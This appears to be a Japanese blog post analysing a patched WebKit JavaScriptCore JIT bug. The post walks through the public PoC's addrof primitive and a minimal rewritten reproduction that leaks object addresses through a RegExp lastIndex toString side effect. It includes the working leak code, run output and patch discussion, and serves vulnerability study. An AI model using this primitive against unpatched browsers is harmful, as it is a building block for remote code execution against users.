https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html で Exploit 7 として紹介されている脆弱性について調べた。
PoC が公開されているのと Web に解説もあるので、取っ掛かりやすかろうということで。
これはどういうバグかというと、PoC の The Bug
に書かれている通りで、RegEx のマッチング処理が JIT 最適化された際に、 lastIndex
プロパティに object を設定することでメモリリークを引き起こし、最終的に任意コード実行が可能というもの。
前回の記事で JIT を利用した攻撃と防御方法について書いたが、これが実際にどういったものなのかを見ていく。
準備
脆弱性の issue tracker は https://bugs.webkit.org/show_bug.cgi?id=191731 っぽい。
パッチは https://trac.webkit.org/changeset/238267/webkit で、git だと https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2 になる。
親の comit は 3af5ce129e6636350a887d01237a65c2fce77823
なので、これに checkout しておく。
PoC を読む
pwn.js
を読んでいく。WASM Object を使ってメモリの読み書きをしているが、メモリリークしているのは addrof()
であることがわかる。
// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
}
print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange stuff to happen...");
throw "See above";
}
コメントにもあるが、 addrofInternal()
の wrapper のよう。
addrofInternal()
は次のようになっている。後で細かく説明を入れるのも面倒なので、処理内容等についてコメントを入れた。
function addrofInternal(val) {
// 1. この array[0] は double であるが、最終的に val のポインタになる
var array = [13.37];
// 2. RegExp の y フラグで lastIndex の場所からマッチするようになる
// https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky
// regex の最適化オプションが原因の脆弱性なのでここは重要
var reg = /abc/y;
function getarray() {
return array;
}
// Target function
var AddrGetter = function(array) {
// 実際には何もしないのでたぶん JIT の最適化目的のコード。消してもいい
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
array = getarray();
// 3. これは "abc".match(reg) と同じ。
reg[Symbol.match](val === null);
// 4. ここで val のポインタが返ってしまうことになる
return array[0];
}
// Force optimization
// 5. JIT で最適化を行うために複数回繰り返す
for (var i = 0; i < 100000; ++i)
AddrGetter(array);
// Setup haxx
// 6. {}.toString() で array[0] が val になる
// つまり、ここがキモ。
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
// 7. lastIndex が {} になる。
reg.lastIndex = regexLastIndex;
// Do it!
return AddrGetter(array);
}
ざっとこんな感じだけど、まぁ分からないので動かす。
上記コードを呼び出すために次のようなコードを書き足して実行する。
object = {}
print(describe(object))
print(addrof(object))
実行結果は次のようになる。
❯ ./WebKitBuild/Debug/bin/jsc /tmp/test.js
Object: 0x111cb0080 with butterfly 0x0 (Structure 0x111cf20d0:[Object, {}, NonArray, Proto:0x111cb4000]), StructureID: 76
2.2694825917e-314
この 2.2694825917e-314
を見ると確かに array[0]
は返っていなくて、おかしな値になっているが、これは object
のアドレスであることがわかる。
In [1]: import struct
In [2]: a = 2.2694825917e-314
In [3]: hex(struct.unpack("Q", struct.pack("d", a))[0])
Out[3]: '0x111cb0080'
ではどのようにして値が変わり、このアドレスが返ってしまったのか見ていく。
for (var i = 0; i < 100000; ++i)
AddrGetter(array);
この部分によって AddrGetter
自体は JIT によって最適化される。100000 回呼び出しているので DFG, FTL で最適化されることになる。
では、実際にどう最適化されるのかを追っていく。
https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/#Dumps を見ると JSC_dumpSourceAtDFGTime
という環境変数をセットすることで DFG / FTL によってコンパイルされたコードを表示することができる。便利!
実行結果は次のようになる。長いので一部省略。
❯ JSC_dumpSourceAtDFGTime=true ./WebKitBuild/Debug/bin/jsc /tmp/test.js
Object: 0x10b5b0080 with butterfly 0x0 (Structure 0x10b5f20d0:[Object, {}, NonArray, Proto:0x10b5b4000]), StructureID: 76
...
// # 👇ここで `AddrGetter` が最適化された
[1] Compiled AddrGetter#EUrzqD:[0x10b550460->0x10b5fd080, BaselineFunctionCall, 46]
'''function AddrGetter(array) {
reg[Symbol.match]();
return array[0];
}'''
// # 👇 Symbol.match が最適化された
// # 補足すると RegExp.match は内部的に Symbol.match を呼び出すので、 RegExp.match でもここが最適化されることになる
[1] Compiled [Symbol.match]#BFrWhl:[0x10ef50690->0x10efb9130, BaselineFunctionCall, 119 (StrictMode)]
'''function [Symbol.match](strArg)
{
"use strict";
if (!@isObject(this))
@throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");
let str = @toString(strArg);
// # 👇 副作用のチェック
// # 副作用がなければ `regExpMatchFast()` が呼ばれる
if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}'''
// # 👇 hasObservableSideEffectsForRegExpMatch も inline 化されて
// # Symbol.match は常に 「RegExp Object である」と返してしまう [2] Inlined hasObservableSideEffectsForRegExpMatch#DSRdGE:[0x10ef508c0->0x10efbb2e0, BaselineFunctionCall, 106 (StrictMode)] at [Symbol.match]#BFrWhl:[0x10ef50f50->0x10ef50690->0x10efb9130, DFGFunctionCall, 119 (StrictMode)] bc#49 '''function hasObservableSideEffectsForRegExpMatch(regexp)
{
"use strict";
//
let regexpExec = @tryGetById(regexp, "exec");
if (regexpExec !== @regExpBuiltinExec)
return true;
let regexpGlobal = @tryGetById(regexp, "global");
if (regexpGlobal !== @regExpProtoGlobalGetter)
return true;
let regexpUnicode = @tryGetById(regexp, "unicode");
if (regexpUnicode !== @regExpProtoUnicodeGetter)
return true;
return !@isRegExpObject(regexp);
}'''
より詳細に流れを書いてみると…
1. AddrGetter
がJIT 化される
for (var i = 0; i < 100000; ++i)
AddrGetter(array)
また、 RegExp.match も最適化されて副作用チェックがなくなる。
2. lastIndex を object に置き換える
toString()
を呼び出すと array[0] = val
になる regexLastIndex
に置き換えられる。
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
}
reg.lastIndex = regexLastIndex;
ちなみにここは toString()
じゃなくても valueOf
でも OK.
3. Symol.match
によって lastIndex
が呼び出される
再度 AddrGetter
が呼ばれるが JIT 化されていることに注意。
return AddrGetter(array);
RegExp の y
オプションを使用しているため、 lastIndex
を知る必要があり、アクセスが生じる。
reg[Symbol.match]();
JIT 化されているので Object としては ArrayWithDouble
で返ることを期待するが、実際には object (ArrayWithContiguous)
である。
4. toString()
が呼び出される
toString()
が実行され array[0]
は val
になる。
JSC Object では実際には val
のポインタとなる。
という流れで val
のアドレスがリークされてしまったというわけだ。
最低限の再現コード
上記の理解を元に PoC を書き直すと次のようになる。
DFG JIT が呼ばれればいいのでループは 10000 回で良い。
let arr = [1.1];
let reg = /abc/y;
function getaddr(arr, reg) {
"abc".match(reg);
return arr[0];
}
for (let i = 0; i < 10000; i++)
getaddr(arr, reg);
object = {};
object.toString = function() {
arr[0] = object;
return 0;
}
reg.lastIndex = object;
print(describe(object));
print(getaddr(arr, reg));
// ❯ ./WebKitBuild/Debug/bin/jsc /tmp/test.js
// Object: 0x10bfb0080 with butterfly 0x0 (Structure 0x10bf70380:[Object, {toString:0}, NonArray, Proto:0x10bfb4000, Leaf]), StructureID: 295
// 2.2213025115e-314
// In [1]: import struct
//
// In [2]: a= 2.2213025115e-314
//
// In [3]: hex(struct.unpack("Q", struct.pack("d", a))[0])
// Out[3]: '0x10bfb0080'
修正パッチ
typeof regexp.lastIndex !== "number";
が入っている。match
に clobberWorld()
を入れるより、JIT のパフォーマンス優先で lastIndex !== number
を入れた感じなのかなぁ。